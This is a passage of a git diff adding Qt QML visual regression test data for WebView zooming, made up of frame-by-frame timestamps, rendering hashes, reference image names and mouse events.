hash: "0f3a56dbe26d453847ed4847c0e81d1a" + } + Frame { + msec: 3024 + hash: "a8df78ab2e800349ec887ea6b1f5dcb8" + } + Frame { + msec: 3040 + hash: "94a2cc520340573557e6a310f2ea125e" + } + Frame { + msec: 3056 + hash: "8b2f13580c6de9ec231809330d2d0362" + } + Frame { + msec: 3072 + hash: "5f76ef4f6b8e703fd0822859cd9a1353" + } + Frame { + msec: 3088 + hash: "460f13d8e05b529c0e4fba39b1449ff1" + } + Frame { + msec: 3104 + hash: "d9798e4ebaf72c35b19a56b336d2ea93" + } + Frame { + msec: 3120 + hash: "e86be73d83699584dca986dfdb030b36" + } + Frame { + msec: 3136 + hash: "f81152b8a464bfa8343f52efcb0c8b8c" + } + Frame { + msec: 3152 + hash: "fcd803f5640d054190c2ddc9a6406bb9" + } + Frame { + msec: 3168 + hash: "ca85f90e450ccda6b76e6a29a3187a63" + } + Frame { + msec: 3184 + hash: "047846d243e7613193a8ddd526c4268e" + } + Frame { + msec: 3200 + hash: "c0ca66fefb19294852b9be0c4ba36481" + } + Frame { + msec: 3216 + hash: "d4a075656790c4f2c50addcd2cc660b5" + } + Frame { + msec: 3232 + hash: "0f80edaf3eecf7a8c015d3fcecc0a494" + } + Frame { + msec: 3248 + hash: "6e857b106486ea0aaa5321d4a7a07eae" + } + Frame { + msec: 3264 + hash: "33a4f07cf7f5d16f006541c61ae2e4ee" + } + Frame { + msec: 3280 + hash: "cb6cf1e6e89da3fcbad323f744aef18d" + } + Frame { + msec: 3296 + hash: "a6eaa480b3f93d33ae23bb36b7691b92" + } + Frame { + msec: 3312 + hash: "59d24ebfedd2a87bdbd755d06c4361d2" + } + Frame { + msec: 3328 + hash: "1030f795d310f742ba491a2a90ff52d8" + } + Frame { + msec: 3344 + hash: "261a341cab38986fb2f53b8e430f04a3" + } + Frame { + msec: 3360 + hash: "4d53256fbb012e738ba3868e2482250d" + } + Frame { + msec: 3376 + hash: "ae252d835a05e01c2a12ae820335049a" + } + Frame { + msec: 3392 + hash: "20d758c1537ed1a9aff657414b50926c" + } + Frame { + msec: 3408 + hash: "56c4113cc341c254ccab66f3bc313154" + } + Frame { + msec: 3424 + hash: "240df67aa72a24546eb6e043e0d3d205" + } + Frame { + msec: 3440 + hash: "82b94393071d6c32dd8028e1ee69e7fb" + } + Frame { + msec: 3456 + hash: "98e46dff678f293fd6a4e9313ab3aec7" + } + Frame { + msec: 3472 + hash: "0971ac1e05ea2ba387c78d4d103f5ea1" + } + Frame { + msec: 3488 + hash: "2ea69aeb32fee61b61aa9c4efb2834bf" + } + Frame { + msec: 3504 + hash: "41b40e36f77d04e62f72ad34aa50709a" + } + Frame { + msec: 3520 + hash: "93b4876c3e185ff4875a7447b0bf4f0f" + } + Frame { + msec: 3536 + hash: "9a3f9dc04a900020f0e488309d7b4757" + } + Frame { + msec: 3552 + hash: "92fa2d9ef05140eb9d0fcf78b55f202e" + } + Frame { + msec: 3568 + hash: "2ed9d0e09b61dee8b2703e580007d7a5" + } + Frame { + msec: 3584 + hash: "cbd63ec868578e295a83170f42b23678" + } + Frame { + msec: 3600 + hash: "b9f3f08168fb55ba01e56e670db565de" + } + Frame { + msec: 3616 + hash: "a579d6324fb4bf9ac5ceaba2aa708764" + } + Frame { + msec: 3632 + hash: "4e0fd7f45e53a8d44c416eb9235ec877" + } + Frame { + msec: 3648 + hash: "f87195f2393914a0bbed9a454de01ff5" + } + Frame { + msec: 3664 + hash: "9bc9801e83267689cd2750226f2b08ce" + } + Frame { + msec: 3680 + hash: "5ddbc3bc10292bec41531e83c0921c59" + } + Frame { + msec: 3696 + hash: "4f3b79b341b63499a20f1e1e2cd979f9" + } + Frame { + msec: 3712 + hash: "e8d98ec2d13ef4324feba11be95d0735" + } + Frame { + msec: 3728 + hash: "5e3c58e2f3a57f4ea48f4315d37ed813" + } + Frame { + msec: 3744 + hash: "3f200fca4815d555f22912d9fcdc20ee" + } + Frame { + msec: 3760 + hash: "0901c99f959d6c10a0b6ea46a282d8fd" + } + Frame { + msec: 3776 + hash: "a186b8e984c999e8609472a7a5fa0610" + } + Frame { + msec: 3792 + hash: "412a630348aa44d56f36f04982035e36" + } + Frame { + msec: 3808 + hash: "011c0bcca7717b08bc53738718203f7e" + } + Frame { + msec: 3824 + hash: "e531d33ef14b58ad843a6be6d7cb0961" + } + Frame { + msec: 3840 + image: "resolution.3.png" + } + Frame { + msec: 3856 + hash: "8df8dd33eada434231332b81e03430ce" + } + Frame { + msec: 3872 + hash: "2aaa3749f93734dd203e1fea91a9f24a" + } + Frame { + msec: 3888 + hash: "dc78b09e27bbc0a2cfec83436eef4446" + } + Frame { + msec: 3904 + hash: "9053a92e343ebb79bd2831f5ab94a1b5" + } + Frame { + msec: 3920 + hash: "649ad1a3fb57fb088e4e5cfd749bf2e5" + } + Frame { + msec: 3936 + hash: "3579849956c1101000ef09949aa4c0f9" + } + Frame { + msec: 3952 + hash: "7af041898748bb5950643b057ca59eea" + } + Frame { + msec: 3968 + hash: "30a191ae899121ae22d10acee6593415" + } + Frame { + msec: 3984 + hash: "369f761053d5910e00672aa866f698ba" + } + Frame { + msec: 4000 + hash: "1f189a436cf74ae83a03c3bb63c24ec2" + } + Frame { + msec: 4016 + hash: "ac1d9c1cc13813b5e94c692a209a4e36" + } + Frame { + msec: 4032 + hash: "f0e0b5c041bcf38d8d9144d466ad74a9" + } + Frame { + msec: 4048 + hash: "38a35c94ebcf33f6720fea33821a54e1" + } + Frame { + msec: 4064 + hash: "061d139f43a3dd63daf887b82721f42f" + } + Frame { + msec: 4080 + hash: "623747b5fe99e5ffaa62f4daa3f840ef" + } + Frame { + msec: 4096 + hash: "4dd5081a387ffda296811b64b9235d7d" + } + Frame { + msec: 4112 + hash: "1598cf2fe996f99ab4c15f84d89cd7bd" + } + Frame { + msec: 4128 + hash: "30cac85bf1a622d438a64b6ccb59a8ca" + } + Frame { + msec: 4144 + hash: "114e54ae3e1493750a022f1c019e7f77" + } + Frame { + msec: 4160 + hash: "a585efc3aae3a426e6af5f4a8cc23b10" + } + Frame { + msec: 4176 + hash: "c0f315549baad93dd885d58b185e7ed7" + } + Frame { + msec: 4192 + hash: "3a00f5f034bef58ca341bf9e1056f46f" + } + Frame { + msec: 4208 + hash: "b3022d07dee989499a35aea21e07e4c1" + } + Frame { + msec: 4224 + hash: "e722464809e94fb7d8c752506f0d3ac2" + } + Frame { + msec: 4240 + hash: "82ea3d06367ce9dc582dbdbc186cc70a" + } + Frame { + msec: 4256 + hash: "359040facbe531c7f6b805b8bfc5b17a" + } + Frame { + msec: 4272 + hash: "264c7b65bae7e3945d87c17edfda6889" + } + Frame { + msec: 4288 + hash: "d941ec8e363942af02f36d4672521801" + } + Frame { + msec: 4304 + hash: "e46e145b4d07d1697c1d9efce80c80de" + } + Frame { + msec: 4320 + hash: "d8bed5c42bc5725d811db4dacdab1581" + } + Frame { + msec: 4336 + hash: "aa221160b4a11b30cb73eaa8ccaa9dfd" + } + Frame { + msec: 4352 + hash: "f411483477906d83f872b306cd021406" + } + Frame { + msec: 4368 + hash: "d9c52e4f99416fa1043a9c34a1c29f5a" + } + Frame { + msec: 4384 + hash: "ec2890446f34b8a5d47ae97ba2853d0f" + } + Frame { + msec: 4400 + hash: "6a3e6ef7d832fa7ec813b38171cb3602" + } + Frame { + msec: 4416 + hash: "6dfd75b6cb780f7d80466f3450d0b255" + } + Frame { + msec: 4432 + hash: "170774843dc6f28f51f07c445e046bd8" + } + Frame { + msec: 4448 + hash: "eab348bef656739d9723d3bd659c43ff" + } + Frame { + msec: 4464 + hash: "f06e546bb710002cdf1cefd51ffa47c4" + } + Frame { + msec: 4480 + hash: "52f7ff1348d9aa7cdf43cd81f0a71625" + } + Frame { + msec: 4496 + hash: "55a5b1befa3b7a4674a62d492b5527ea" + } + Frame { + msec: 4512 + hash: "699c093fddc6b9293a011d8d6eccd36d" + } + Frame { + msec: 4528 + hash: "b988e1ad7dc7d26ffeea8f71a69a9abf" + } + Frame { + msec: 4544 + hash: "8dea2b47492f83f961a47536a10aad0c" + } + Frame { + msec: 4560 + hash: "925ea8105779ffd801a3c62129d64bed" + } + Frame { + msec: 4576 + hash: "aa5d957c4f452b1f1c70ea672ce4a0b9" + } + Frame { + msec: 4592 + hash: "85d3ea97a1fb152ae8ad65a17693a16d" + } + Frame { + msec: 4608 + hash: "069b2bc8b86f822c5e7ceca3664e78a6" + } + Frame { + msec: 4624 + hash: "209071b7f72d8c25b9ce27c05397fe56" + } + Frame { + msec: 4640 + hash: "068dea708612620d34bd57c6affb44b1" + } + Frame { + msec: 4656 + hash: "36b53a0845220645059fed803a6ffcbc" + } + Frame { + msec: 4672 + hash: "2c84e15006a39a554eb2047bae9d4f6f" + } + Frame { + msec: 4688 + hash: "1bdab31534f4b5a7e9d27ede3e9acb57" + } + Frame { + msec: 4704 + hash: "688689eeb584b0c74f0322af35857dd5" + } + Frame { + msec: 4720 + hash: "024939fea5b6c6f9d3e26a0abf42ae3c" + } + Frame { + msec: 4736 + hash: "2efb2f47c6f0be3743f0f4dc7a66b08e" + } + Frame { + msec: 4752 + hash: "4631f3756af880693d3654c16cbe47bb" + } + Frame { + msec: 4768 + hash: "2fd77649c1e1ade97534ef530ad05612" + } + Frame { + msec: 4784 + hash: "5d13517bac111c8af49c444d41a42ea1" + } + Frame { + msec: 4800 + image: "resolution.4.png" + } + Frame { + msec: 4816 + hash: "8bd8efe405a42730304dcc120a6e718c" + } + Frame { + msec: 4832 + hash: "a83c543977e3f1dd4c020375eb3273fd" + } + Frame { + msec: 4848 + hash: "c52f38469fec77afc7f0a44b992e3d0d" + } + Frame { + msec: 4864 + hash: "af645449d6ec3f42449ffc59193aaaa4" + } + Frame { + msec: 4880 + hash: "2eb982cf754c77c109158076957775ae" + } + Frame { + msec: 4896 + hash: "9bf2fd4a4e45f302b34b7f038937d3d7" + } + Frame { + msec: 4912 + hash: "5520e309d68c8eedf76a9392714a6150" + } + Frame { + msec: 4928 + hash: "9dcd043a25e33b788729c0a0531301e7" + } + Frame { + msec: 4944 + hash: "1475b9bcfe08c66135673f4284c9bbcd" + } + Frame { + msec: 4960 + hash: "9af1f355bcf4d5f05b42040ebba75e09" + } + Frame { + msec: 4976 + hash: "8b6e04980ea60ca2ff06053d35c06881" + } + Frame { + msec: 4992 + hash: "def466e377a44afc4b2a9a9ebb258f86" + } + Frame { + msec: 5008 + hash: "18f6d6f5a3fdaee0037580df0f4f9ef0" + } + Frame { + msec: 5024 + hash: "ae2579498558f6f93489999c7c82cbcd" + } + Frame { + msec: 5040 + hash: "623d8e756c2c131150554272df231bf9" + } + Frame { + msec: 5056 + hash: "c13146576229848b8a1e1b382fbf749d" + } + Frame { + msec: 5072 + hash: "f963a399aeea1d34ec3bd30a5b991035" + } + Frame { + msec: 5088 + hash: "45a4db021ba0a53ad783c14a3b66aa38" + } + Frame { + msec: 5104 + hash: "2031618470e3bb3a3435fe0e270a15d4" + } + Frame { + msec: 5120 + hash: "f7cc01c301f29110db8364fecc8751f1" + } + Frame { + msec: 5136 + hash: "2d366fa500257ec0a12863f3637d0c47" + } + Frame { + msec: 5152 + hash: "4ba700e7f9ffba4889ca26d903a63029" + } + Frame { + msec: 5168 + hash: "329bec5e3d6a131b4bd9a056659bdb3e" + } + Frame { + msec: 5184 + hash: "48f7356707cdbcb401c135207ee38821" + } + Frame { + msec: 5200 + hash: "5314e448affe60d193d07a784035ecce" + } + Frame { + msec: 5216 + hash: "c87e98becdf99c214ad4987985b4af07" + } + Frame { + msec: 5232 + hash: "ea81d2a967b619980d7e42937ec74668" + } + Frame { + msec: 5248 + hash: "845319d4e0f6ee97697e59c606220e7a" + } +} diff --git a/tests/auto/declarative/qmlvisual/webview/zooming/data/zoomTextOnly.0.png b/tests/auto/declarative/qmlvisual/webview/zooming/data/zoomTextOnly.0.png new file mode 100644 index 0000000..4b9abb4 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/webview/zooming/data/zoomTextOnly.0.png differ diff --git a/tests/auto/declarative/qmlvisual/webview/zooming/data/zoomTextOnly.1.png b/tests/auto/declarative/qmlvisual/webview/zooming/data/zoomTextOnly.1.png new file mode 100644 index 0000000..5ce9787 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/webview/zooming/data/zoomTextOnly.1.png differ diff --git a/tests/auto/declarative/qmlvisual/webview/zooming/data/zoomTextOnly.qml b/tests/auto/declarative/qmlvisual/webview/zooming/data/zoomTextOnly.qml new file mode 100644 index 0000000..aaa7583 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/webview/zooming/data/zoomTextOnly.qml @@ -0,0 +1,655 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "4e401b5ebff6e442fa108e94a5dba668" + } + Frame { + msec: 32 + hash: "c2f8551d0442d0736b71c54fc965562b" + } + Frame { + msec: 48 + hash: "4fc1ef611b24ec5737310859b12c83d3" + } + Frame { + msec: 64 + hash: "7df07aea83bc5c3213e7871854661820" + } + Frame { + msec: 80 + hash: "0ae4ee18cc675749f008b897fe35cc40" + } + Frame { + msec: 96 + hash: "0ae4ee18cc675749f008b897fe35cc40" + } + Frame { + msec: 112 + hash: "f5c917c7ca26bb916dd4df84eafc8e94" + } + Frame { + msec: 128 + hash: "0696257de0441666bd264f8db6383d15" + } + Frame { + msec: 144 + hash: "0b43fdee23346c30c60b822a20131cc3" + } + Frame { + msec: 160 + hash: "98dbd004cf4809dbc90bfa9272378644" + } + Frame { + msec: 176 + hash: "32d0e9005ebb9dfd410d348e336bcd93" + } + Frame { + msec: 192 + hash: "8a64b18006ad0bd2c373a2a9395ce52e" + } + Frame { + msec: 208 + hash: "7dc26fd658f626b8fe18545cf93dc4ec" + } + Frame { + msec: 224 + hash: "6712be93cf1ed2b7b202367418b6d2d7" + } + Frame { + msec: 240 + hash: "524840a3453af4e97ac82b559308cce3" + } + Frame { + msec: 256 + hash: "11436091b24c02af94dfa75a5fd1a001" + } + Frame { + msec: 272 + hash: "d3689b53474b4b26630d70ba01c057b4" + } + Frame { + msec: 288 + hash: "16e2b66f28ed80d80d9b5264d89624d5" + } + Frame { + msec: 304 + hash: "87636076959de7e5a0a8bd8b31354ed4" + } + Frame { + msec: 320 + hash: "a6916da6bfac27aa87d75da2bbb73f31" + } + Frame { + msec: 336 + hash: "58cfba3aae4bf54a5b445e0e34571d2d" + } + Frame { + msec: 352 + hash: "1475ae722afd169cc0c8e1fde39eb6b7" + } + Frame { + msec: 368 + hash: "14d08c2ca430631af8ede1013f4f4da0" + } + Frame { + msec: 384 + hash: "ace9db9112d147569dc0cf1a1b680d6c" + } + Frame { + msec: 400 + hash: "08bc6815601417f3731eaae398d0861d" + } + Frame { + msec: 416 + hash: "809870dfd9b05ce07170edd945348ddf" + } + Frame { + msec: 432 + hash: "5784deb0f3270cf7a0d0964cd9d31458" + } + Frame { + msec: 448 + hash: "2f06ee407e5175d4b954e31c39c9522c" + } + Frame { + msec: 464 + hash: "48a7dbed293fbbd5ea202190837a411f" + } + Frame { + msec: 480 + hash: "abf3d90803cfa12d35d2752be7ea02d8" + } + Frame { + msec: 496 + hash: "a60edcf8d792f93a839e6ddbafbf993f" + } + Frame { + msec: 512 + hash: "7e8dfe86ea0849022355b12578d4cb1a" + } + Frame { + msec: 528 + hash: "3c84122b0933ee870f178d39469e51e2" + } + Frame { + msec: 544 + hash: "25f463e91febf5b6d8819fd5010bc1c2" + } + Frame { + msec: 560 + hash: "d423a9bc912237d0f20b924849ba0cb1" + } + Frame { + msec: 576 + hash: "5bd3cc309a5fce6183654975543250b2" + } + Frame { + msec: 592 + hash: "4e401b5ebff6e442fa108e94a5dba668" + } + Frame { + msec: 608 + hash: "9a4bf1400da038f2088dd4c49403d852" + } + Frame { + msec: 624 + hash: "a37024356613bd5d678e0b2f7b8f5959" + } + Frame { + msec: 640 + hash: "4f37d72c10e51f68a2359086094da249" + } + Frame { + msec: 656 + hash: "6093bcb7673f8e58fe5a7b0143638822" + } + Frame { + msec: 672 + hash: "c272aeea2b9c450fbd732305ccc01b93" + } + Frame { + msec: 688 + hash: "6a4e2ee45b26037421e2a5f2d6ee517e" + } + Frame { + msec: 704 + hash: "d912afcbce6c9d879a07ffc3c51b36d1" + } + Frame { + msec: 720 + hash: "2578335ac6f21c8aec2c87515562c321" + } + Frame { + msec: 736 + hash: "5b77af55f0a723ba762d283f41e91c98" + } + Frame { + msec: 752 + hash: "b420fc71b22fa608a9c0cdbbbc61c447" + } + Frame { + msec: 768 + hash: "3f7a9cecf2a590e8728137fabfd3f5f3" + } + Frame { + msec: 784 + hash: "c51f12a2f438f137785c70e3af4922fd" + } + Frame { + msec: 800 + hash: "5d97175fc4d986e5b21758d4ac785025" + } + Frame { + msec: 816 + hash: "94f922f3460ad76cd05cb5b321977a94" + } + Frame { + msec: 832 + hash: "5747adbc4f0b22ed359793d72d3e7d1f" + } + Frame { + msec: 848 + hash: "255d1d45d3343972f156dfab7d13ce41" + } + Frame { + msec: 864 + hash: "e5b54132ffb83acad30622e969405bc0" + } + Frame { + msec: 880 + hash: "2c05cf00e3417883e789f58c2728dc97" + } + Frame { + msec: 896 + hash: "9d66290b1aae1de3025d24d3efc4ca1c" + } + Frame { + msec: 912 + hash: "5e9b0783b1b4221145a4febbae56b30f" + } + Frame { + msec: 928 + hash: "21eea497c26600b03d868661232b3ebe" + } + Frame { + msec: 944 + hash: "2383c415170ac6444f1c193ed698f682" + } + Frame { + msec: 960 + image: "zoomTextOnly.0.png" + } + Frame { + msec: 976 + hash: "4ed0f85dec4eb0bb740ac3780b6872c0" + } + Frame { + msec: 992 + hash: "0a18bccca4efeadfced8e5cb1715a1f3" + } + Frame { + msec: 1008 + hash: "823e65df9075eb0e9a3aad6b15ec3342" + } + Frame { + msec: 1024 + hash: "823e65df9075eb0e9a3aad6b15ec3342" + } + Frame { + msec: 1040 + hash: "0a18bccca4efeadfced8e5cb1715a1f3" + } + Frame { + msec: 1056 + hash: "4ed0f85dec4eb0bb740ac3780b6872c0" + } + Frame { + msec: 1072 + hash: "fae77663566351fa3bb506b459496a9d" + } + Frame { + msec: 1088 + hash: "2383c415170ac6444f1c193ed698f682" + } + Frame { + msec: 1104 + hash: "2e05365256bebbdf3229f99b94263b6c" + } + Frame { + msec: 1120 + hash: "5e9b0783b1b4221145a4febbae56b30f" + } + Frame { + msec: 1136 + hash: "9d66290b1aae1de3025d24d3efc4ca1c" + } + Frame { + msec: 1152 + hash: "2c05cf00e3417883e789f58c2728dc97" + } + Frame { + msec: 1168 + hash: "e5b54132ffb83acad30622e969405bc0" + } + Frame { + msec: 1184 + hash: "255d1d45d3343972f156dfab7d13ce41" + } + Frame { + msec: 1200 + hash: "5747adbc4f0b22ed359793d72d3e7d1f" + } + Frame { + msec: 1216 + hash: "94f922f3460ad76cd05cb5b321977a94" + } + Frame { + msec: 1232 + hash: "5d97175fc4d986e5b21758d4ac785025" + } + Frame { + msec: 1248 + hash: "c51f12a2f438f137785c70e3af4922fd" + } + Frame { + msec: 1264 + hash: "3f7a9cecf2a590e8728137fabfd3f5f3" + } + Frame { + msec: 1280 + hash: "b420fc71b22fa608a9c0cdbbbc61c447" + } + Frame { + msec: 1296 + hash: "5b77af55f0a723ba762d283f41e91c98" + } + Frame { + msec: 1312 + hash: "2578335ac6f21c8aec2c87515562c321" + } + Frame { + msec: 1328 + hash: "a9b5438bd48dbafd307d571877416003" + } + Frame { + msec: 1344 + hash: "6a4e2ee45b26037421e2a5f2d6ee517e" + } + Frame { + msec: 1360 + hash: "c272aeea2b9c450fbd732305ccc01b93" + } + Frame { + msec: 1376 + hash: "37c7e50c270e8feb4dd9018580284a85" + } + Frame { + msec: 1392 + hash: "4f37d72c10e51f68a2359086094da249" + } + Frame { + msec: 1408 + hash: "a37024356613bd5d678e0b2f7b8f5959" + } + Frame { + msec: 1424 + hash: "9a4bf1400da038f2088dd4c49403d852" + } + Frame { + msec: 1440 + hash: "4e401b5ebff6e442fa108e94a5dba668" + } + Frame { + msec: 1456 + hash: "5bd3cc309a5fce6183654975543250b2" + } + Frame { + msec: 1472 + hash: "d423a9bc912237d0f20b924849ba0cb1" + } + Frame { + msec: 1488 + hash: "25f463e91febf5b6d8819fd5010bc1c2" + } + Frame { + msec: 1504 + hash: "3c84122b0933ee870f178d39469e51e2" + } + Frame { + msec: 1520 + hash: "7e8dfe86ea0849022355b12578d4cb1a" + } + Frame { + msec: 1536 + hash: "a60edcf8d792f93a839e6ddbafbf993f" + } + Frame { + msec: 1552 + hash: "abf3d90803cfa12d35d2752be7ea02d8" + } + Frame { + msec: 1568 + hash: "48a7dbed293fbbd5ea202190837a411f" + } + Frame { + msec: 1584 + hash: "2f06ee407e5175d4b954e31c39c9522c" + } + Frame { + msec: 1600 + hash: "5784deb0f3270cf7a0d0964cd9d31458" + } + Frame { + msec: 1616 + hash: "809870dfd9b05ce07170edd945348ddf" + } + Frame { + msec: 1632 + hash: "08bc6815601417f3731eaae398d0861d" + } + Frame { + msec: 1648 + hash: "ace9db9112d147569dc0cf1a1b680d6c" + } + Frame { + msec: 1664 + hash: "14d08c2ca430631af8ede1013f4f4da0" + } + Frame { + msec: 1680 + hash: "1475ae722afd169cc0c8e1fde39eb6b7" + } + Frame { + msec: 1696 + hash: "58cfba3aae4bf54a5b445e0e34571d2d" + } + Frame { + msec: 1712 + hash: "a6916da6bfac27aa87d75da2bbb73f31" + } + Frame { + msec: 1728 + hash: "87636076959de7e5a0a8bd8b31354ed4" + } + Frame { + msec: 1744 + hash: "16e2b66f28ed80d80d9b5264d89624d5" + } + Frame { + msec: 1760 + hash: "d3689b53474b4b26630d70ba01c057b4" + } + Frame { + msec: 1776 + hash: "11436091b24c02af94dfa75a5fd1a001" + } + Frame { + msec: 1792 + hash: "524840a3453af4e97ac82b559308cce3" + } + Frame { + msec: 1808 + hash: "6712be93cf1ed2b7b202367418b6d2d7" + } + Frame { + msec: 1824 + hash: "7dc26fd658f626b8fe18545cf93dc4ec" + } + Frame { + msec: 1840 + hash: "8a64b18006ad0bd2c373a2a9395ce52e" + } + Frame { + msec: 1856 + hash: "32d0e9005ebb9dfd410d348e336bcd93" + } + Frame { + msec: 1872 + hash: "98dbd004cf4809dbc90bfa9272378644" + } + Frame { + msec: 1888 + hash: "0b43fdee23346c30c60b822a20131cc3" + } + Frame { + msec: 1904 + hash: "0696257de0441666bd264f8db6383d15" + } + Frame { + msec: 1920 + image: "zoomTextOnly.1.png" + } + Frame { + msec: 1936 + hash: "0ae4ee18cc675749f008b897fe35cc40" + } + Frame { + msec: 1952 + hash: "0ae4ee18cc675749f008b897fe35cc40" + } + Frame { + msec: 1968 + hash: "7df07aea83bc5c3213e7871854661820" + } + Frame { + msec: 1984 + hash: "4fc1ef611b24ec5737310859b12c83d3" + } + Frame { + msec: 2000 + hash: "c2f8551d0442d0736b71c54fc965562b" + } + Frame { + msec: 2016 + hash: "4ec29787e437f9619ce0f0a0f4889d0f" + } + Frame { + msec: 2032 + hash: "c2f8551d0442d0736b71c54fc965562b" + } + Frame { + msec: 2048 + hash: "4fc1ef611b24ec5737310859b12c83d3" + } + Frame { + msec: 2064 + hash: "7df07aea83bc5c3213e7871854661820" + } + Frame { + msec: 2080 + hash: "0ae4ee18cc675749f008b897fe35cc40" + } + Frame { + msec: 2096 + hash: "0ae4ee18cc675749f008b897fe35cc40" + } + Frame { + msec: 2112 + hash: "f5c917c7ca26bb916dd4df84eafc8e94" + } + Frame { + msec: 2128 + hash: "0696257de0441666bd264f8db6383d15" + } + Frame { + msec: 2144 + hash: "0b43fdee23346c30c60b822a20131cc3" + } + Frame { + msec: 2160 + hash: "98dbd004cf4809dbc90bfa9272378644" + } + Frame { + msec: 2176 + hash: "32d0e9005ebb9dfd410d348e336bcd93" + } + Frame { + msec: 2192 + hash: "8a64b18006ad0bd2c373a2a9395ce52e" + } + Frame { + msec: 2208 + hash: "7dc26fd658f626b8fe18545cf93dc4ec" + } + Frame { + msec: 2224 + hash: "6712be93cf1ed2b7b202367418b6d2d7" + } + Frame { + msec: 2240 + hash: "524840a3453af4e97ac82b559308cce3" + } + Frame { + msec: 2256 + hash: "11436091b24c02af94dfa75a5fd1a001" + } + Frame { + msec: 2272 + hash: "d3689b53474b4b26630d70ba01c057b4" + } + Frame { + msec: 2288 + hash: "16e2b66f28ed80d80d9b5264d89624d5" + } + Frame { + msec: 2304 + hash: "87636076959de7e5a0a8bd8b31354ed4" + } + Frame { + msec: 2320 + hash: "a6916da6bfac27aa87d75da2bbb73f31" + } + Frame { + msec: 2336 + hash: "58cfba3aae4bf54a5b445e0e34571d2d" + } + Frame { + msec: 2352 + hash: "1475ae722afd169cc0c8e1fde39eb6b7" + } + Frame { + msec: 2368 + hash: "14d08c2ca430631af8ede1013f4f4da0" + } + Frame { + msec: 2384 + hash: "ace9db9112d147569dc0cf1a1b680d6c" + } + Frame { + msec: 2400 + hash: "08bc6815601417f3731eaae398d0861d" + } + Frame { + msec: 2416 + hash: "809870dfd9b05ce07170edd945348ddf" + } + Frame { + msec: 2432 + hash: "5784deb0f3270cf7a0d0964cd9d31458" + } + Frame { + msec: 2448 + hash: "2f06ee407e5175d4b954e31c39c9522c" + } + Frame { + msec: 2464 + hash: "48a7dbed293fbbd5ea202190837a411f" + } + Frame { + msec: 2480 + hash: "abf3d90803cfa12d35d2752be7ea02d8" + } + Frame { + msec: 2496 + hash: "a60edcf8d792f93a839e6ddbafbf993f" + } + Frame { + msec: 2512 + hash: "7e8dfe86ea0849022355b12578d4cb1a" + } + Frame { + msec: 2528 + hash: "3c84122b0933ee870f178d39469e51e2" + } + Frame { + msec: 2544 + hash: "25f463e91febf5b6d8819fd5010bc1c2" + } + Frame { + msec: 2560 + hash: "d423a9bc912237d0f20b924849ba0cb1" + } + Frame { + msec: 2576 + hash: "5bd3cc309a5fce6183654975543250b2" + } + Frame { + msec: 2592 + hash: "4e401b5ebff6e442fa108e94a5dba668" + } +} diff --git a/tests/auto/declarative/qmlvisual/webview/zooming/data/zooming.0.png b/tests/auto/declarative/qmlvisual/webview/zooming/data/zooming.0.png new file mode 100644 index 0000000..aaab35d Binary files /dev/null and b/tests/auto/declarative/qmlvisual/webview/zooming/data/zooming.0.png differ diff --git a/tests/auto/declarative/qmlvisual/webview/zooming/data/zooming.1.png b/tests/auto/declarative/qmlvisual/webview/zooming/data/zooming.1.png new file mode 100644 index 0000000..aaab35d Binary files /dev/null and b/tests/auto/declarative/qmlvisual/webview/zooming/data/zooming.1.png differ diff --git a/tests/auto/declarative/qmlvisual/webview/zooming/data/zooming.2.png b/tests/auto/declarative/qmlvisual/webview/zooming/data/zooming.2.png new file mode 100644 index 0000000..aaab35d Binary files /dev/null and b/tests/auto/declarative/qmlvisual/webview/zooming/data/zooming.2.png differ diff --git a/tests/auto/declarative/qmlvisual/webview/zooming/data/zooming.3.png b/tests/auto/declarative/qmlvisual/webview/zooming/data/zooming.3.png new file mode 100644 index 0000000..aaab35d Binary files /dev/null and b/tests/auto/declarative/qmlvisual/webview/zooming/data/zooming.3.png differ diff --git a/tests/auto/declarative/qmlvisual/webview/zooming/data/zooming.qml b/tests/auto/declarative/qmlvisual/webview/zooming/data/zooming.qml new file mode 100644 index 0000000..ad83800 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/webview/zooming/data/zooming.qml @@ -0,0 +1,2115 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 32 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 48 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 64 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 80 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 96 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 112 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 128 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 144 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 160 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 176 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 192 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 208 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 224 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 240 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 256 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 272 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 288 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 304 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 320 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 336 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 352 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 197; y: 34 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 185; y: 34 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 368 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 169; y: 38 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 384 + hash: "c98df558c41f1837398eead42392b780" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 161; y: 40 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 400 + hash: "c98df558c41f1837398eead42392b780" + } + 